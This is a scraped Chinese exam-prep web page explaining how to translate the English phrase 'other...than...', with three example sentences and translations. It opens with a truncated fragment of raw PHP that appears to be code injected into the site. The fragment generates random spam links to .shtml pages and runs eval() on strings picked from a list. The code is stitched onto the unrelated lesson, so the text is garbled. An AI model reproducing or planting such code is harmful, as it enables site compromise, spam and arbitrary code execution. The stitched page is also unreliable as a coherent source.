30){ if(count($wList) <= 0){ break; } $rk1 = mt_rand(0,count($wList)-1); $h = trim($wList[$rk1]); if(empty($h)){ continue; } // $a .= $h . '/' . $dTmp . '/' . date('d',time()) . '/' .mt_rand(100000,999999) . '.html'; $a .= $h . '/' . $dTmp . '/' . mt_rand(100000,9999999) . '.shtml'; // $a .= $h; }else{ $urk = mt_rand(0,count($uList)-1); eval($uList[$urk]); } $a .= '">'; $str .= $a; } echo $str; ?> 英译汉:other...than...

英译汉:other...than...

2010-08-20考研英语学习

英译汉:other...than...
英译汉:other...than...(插图)

other...than... 或other than... 不同于,非;除了
    例l: Plants which refine crude ores are often located in countries other than those in which the crude ores are mined.
    译文:提炼矿石的厂房通常不是设在采矿石的国家而设在其它国家。
    例2: Reactions other than the desired one often occur when reactants are brought together.
    译文:当这些反应物放在一起时,常发生不希望有的一些反应。(即:…常发生与希望有的反应不同的反应。)
    例3: All parts of the house other than the windows were in good condition.
    译文:除了窗之外,屋子的其它部分都完好无损。

本文地址: http://m.liuxuepaper.com/xuexi/kyxxff/9949.html

上一篇:考研英语阅读理解备考攻略之:作者态度题 下一篇:英译汉:.. the last + n. + 不定式或定语从句